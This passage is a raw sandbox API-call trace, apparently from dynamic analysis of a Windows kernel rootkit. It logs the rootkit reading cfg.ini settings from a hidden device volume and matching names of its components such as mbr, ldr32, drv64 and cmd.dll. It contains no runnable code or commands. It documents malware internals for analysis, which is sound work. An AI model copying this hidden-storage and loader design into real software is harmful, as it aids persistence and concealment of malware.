(lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0125.888] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0125.888] KeEnterCriticalRegion () [0125.888] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.889] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.889] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.889] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.889] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.889] IdePortDispatch () returned 0x103 [0125.889] KeWaitForMutexObject () returned 0x0 [0125.889] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.889] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0125.889] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.889] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.889] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.889] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.889] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.889] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.889] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.889] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0125.889] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.889] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.889] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.889] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.889] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.889] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.889] KeLeaveCriticalRegion () [0125.889] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.889] ReleaseMutex (hMutex=0x100) returned 1 [0125.889] Sleep (dwMilliseconds=0x2bf20) [0125.898] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6e3bb010, dwHighDateTime=0x1d24fa4)) [0125.898] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0125.898] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.898] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0125.898] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.898] KeEnterCriticalRegion () [0125.898] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.898] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0125.898] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0125.898] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.898] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.898] IdePortDispatch () returned 0x103 [0125.899] KeWaitForMutexObject () returned 0x0 [0125.899] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.899] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.899] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.899] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.899] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.899] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80035cdde0 [0125.899] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.899] KeLeaveCriticalRegion () [0125.899] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0125.899] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.899] KeEnterCriticalRegion () [0125.899] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.899] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0125.899] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.899] KeLeaveCriticalRegion () [0125.899] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.899] KeEnterCriticalRegion () [0125.899] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.899] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0125.899] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0125.899] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.899] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0125.899] IdePortDispatch () returned 0x103 [0125.899] KeWaitForMutexObject () returned 0x0 [0125.899] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.899] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.899] KeLeaveCriticalRegion () [0125.899] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0125.900] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.900] KeEnterCriticalRegion () [0125.900] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.900] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d19000 [0125.900] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0125.900] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0125.900] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.900] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.900] IdePortDispatch () returned 0x103 [0125.900] KeWaitForMutexObject () returned 0x0 [0125.900] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.900] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0125.900] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0125.900] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.900] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.900] IdePortDispatch () returned 0x103 [0125.900] KeWaitForMutexObject () returned 0x0 [0125.900] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.900] KeLeaveCriticalRegion () [0125.900] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0125.901] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.901] KeEnterCriticalRegion () [0125.901] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.901] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0125.901] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.901] KeLeaveCriticalRegion () [0125.901] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.901] KeEnterCriticalRegion () [0125.901] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.901] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0125.901] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfa470, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.901] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.901] KeLeaveCriticalRegion () [0125.901] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0125.901] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.901] KeEnterCriticalRegion () [0125.901] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.901] ExFreePoolWithTag (P=0xfffffa80035cdde0, Tag=0x0) [0125.901] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.901] KeLeaveCriticalRegion () [0125.901] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0125.901] ReleaseMutex (hMutex=0xf0) returned 1 [0125.901] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.901] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0125.901] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.901] KeEnterCriticalRegion () [0125.901] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.901] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0125.901] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0125.901] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.901] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.901] IdePortDispatch () returned 0x103 [0125.901] KeWaitForMutexObject () returned 0x0 [0125.902] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.902] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.902] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.902] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.902] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.902] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf9830 [0125.902] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.902] KeLeaveCriticalRegion () [0125.902] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0125.902] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.902] KeEnterCriticalRegion () [0125.902] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.902] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0125.902] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.902] KeLeaveCriticalRegion () [0125.902] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.902] KeEnterCriticalRegion () [0125.902] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.902] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0125.902] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0125.902] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.902] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0125.902] IdePortDispatch () returned 0x103 [0125.902] KeWaitForMutexObject () returned 0x0 [0125.902] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.902] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.902] KeLeaveCriticalRegion () [0125.902] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0125.902] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.902] KeEnterCriticalRegion () [0125.902] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.903] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d1a000 [0125.903] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0125.903] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0125.903] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.903] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.903] IdePortDispatch () returned 0x103 [0125.903] KeWaitForMutexObject () returned 0x0 [0125.903] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.903] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0125.903] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0125.903] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.903] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.903] IdePortDispatch () returned 0x103 [0125.903] KeWaitForMutexObject () returned 0x0 [0125.903] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.903] KeLeaveCriticalRegion () [0125.903] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0125.904] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.904] KeEnterCriticalRegion () [0125.904] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.904] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0125.904] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.904] KeLeaveCriticalRegion () [0125.904] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.904] KeEnterCriticalRegion () [0125.904] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.904] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0125.904] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfa610, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.904] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.904] KeLeaveCriticalRegion () [0125.904] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0125.904] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.904] KeEnterCriticalRegion () [0125.904] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.904] ExFreePoolWithTag (P=0xfffffa8003bf9830, Tag=0x0) [0125.904] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.904] KeLeaveCriticalRegion () [0125.904] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0125.904] ReleaseMutex (hMutex=0xf0) returned 1 [0125.904] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.904] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0125.904] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.904] KeEnterCriticalRegion () [0125.904] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.904] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0125.904] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0125.904] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.904] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.904] IdePortDispatch () returned 0x103 [0125.904] KeWaitForMutexObject () returned 0x0 [0125.904] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.905] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.905] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.905] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.905] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.905] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf4450 [0125.905] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.905] KeLeaveCriticalRegion () [0125.905] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0125.905] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.905] KeEnterCriticalRegion () [0125.905] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.905] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0125.905] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.905] KeLeaveCriticalRegion () [0125.905] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.905] KeEnterCriticalRegion () [0125.905] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.905] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0125.905] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0125.905] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.905] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0125.905] IdePortDispatch () returned 0x103 [0125.905] KeWaitForMutexObject () returned 0x0 [0125.905] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.905] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.905] KeLeaveCriticalRegion () [0125.905] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0125.905] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.905] KeEnterCriticalRegion () [0125.905] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.905] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d1b000 [0125.905] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0125.905] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0125.905] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.905] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.905] IdePortDispatch () returned 0x103 [0125.906] KeWaitForMutexObject () returned 0x0 [0125.906] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.906] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0125.906] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0125.906] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.906] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.906] IdePortDispatch () returned 0x103 [0125.906] KeWaitForMutexObject () returned 0x0 [0125.906] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.906] KeLeaveCriticalRegion () [0125.906] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0125.906] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.906] KeEnterCriticalRegion () [0125.906] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.906] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0125.906] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.907] KeLeaveCriticalRegion () [0125.907] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.907] KeEnterCriticalRegion () [0125.907] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.907] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0125.907] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf9f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.907] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.907] KeLeaveCriticalRegion () [0125.907] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0125.907] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.907] KeEnterCriticalRegion () [0125.907] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.907] ExFreePoolWithTag (P=0xfffffa8003bf4450, Tag=0x0) [0125.907] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.907] 